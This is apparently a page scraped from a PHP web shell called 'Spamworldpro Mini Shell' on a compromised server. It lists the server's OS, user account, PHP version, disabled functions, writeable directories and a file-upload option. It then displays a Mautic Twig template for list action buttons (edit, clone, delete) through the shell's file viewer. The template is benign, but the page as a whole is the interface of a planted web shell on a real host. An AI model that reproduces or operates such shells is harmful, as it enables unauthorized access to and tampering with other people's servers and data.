Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/CoreBundle/Resources/views/Helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/app/bundles/CoreBundle/Resources/views/Helper/list_actions.html.twig
{{ buttonReset(
    constant('Mautic\\CoreBundle\\Twig\\Helper\\ButtonHelper::LOCATION_LIST_ACTIONS'),
    constant('Mautic\\CoreBundle\\Twig\\Helper\\ButtonHelper::TYPE_DROPDOWN'),
    item
) }}

{{- include('@MauticCore/Helper/action_button_helper.html.twig') -}}
{# Workaround to get variables from action_button_helper here #}
{{ restore('action_button_helper') }}

{% if item is iterable and item.id is defined and item.name is defined %}
    {% set id, name = item.id, item.name %}
{% else %}
    {% set id, name = item.getId(), attribute(item, nameGetter) %}
{% endif %}

<div class="input-group input-group-sm">
    <span class="input-group-addon">
        <input type="checkbox" data-target="tbody" data-toggle="selectrow" class="list-checkbox" name="cb{{ id }}" value="{{ id|escape }}"/>
    </span>

    <div class="input-group-btn">
        <button type="button" class="btn btn-default btn-sm dropdown-toggle btn-nospin" data-toggle="dropdown">
            <i class="ri-arrow-down-s-line"></i>
        </button>
        {% if tooltip is defined and tooltip is not empty %}<i class="ri-question-line"></i>{% endif %}
        <ul class="pull-{{ pull }} page-list-actions dropdown-menu" role="menu">
            {% if templateButtons.edit is defined and templateButtons.edit is not empty %}
            {{ buttonAdd({
                attr: editAttr|merge({
                    class: 'hidden-xs btn btn-default btn-sm btn-nospin',
                    href: path(
                        actionRoute,
                        query|merge({objectAction: 'edit', objectId: id})
                    ),
                    'data-toggle': editMode
                }),
                iconClass: 'ri-edit-line',
                btnText: 'mautic.core.form.edit'|trans,
                primary: true
            }) }}
            {% endif %}
            {% if templateButtons.clone is defined and templateButtons.clone is not empty %}
            {{ buttonAdd({
                attr: editAttr|merge({
                    class: 'hidden-xs btn btn-default btn-sm btn-nospin',
                    href: path(
                        actionRoute,
                        query|merge({objectAction: 'clone', objectId: id})
                    ),
                    'data-toggle': 'ajax'
                }),
                iconClass: 'ri-file-copy-line',
                btnText: 'mautic.core.form.clone'|trans,
                priority: 200
            }) }}
            {% endif %}
            {% if templateButtons.delete is defined and templateButtons.delete is not empty %}
            {{ buttonAdd({
                confirm: {
                    btnClass: false,
                    btnText: 'mautic.core.form.delete'|trans,
                    message: (translationBase ~ '.form.confirmdelete')|trans({'%name%': (name ~ ' (' ~ id ~ ')')}),
                    confirmAction: path(
                        actionRoute,
                        query|merge({objectAction: 'delete', objectId: id})
                    ),
                    template: 'delete'
                },
                priority: -1
            }) }}
            {% endif %}

            {{ buttonsRender()|raw }}
        </ul>
    </div>
</div>

Spamworldpro Mini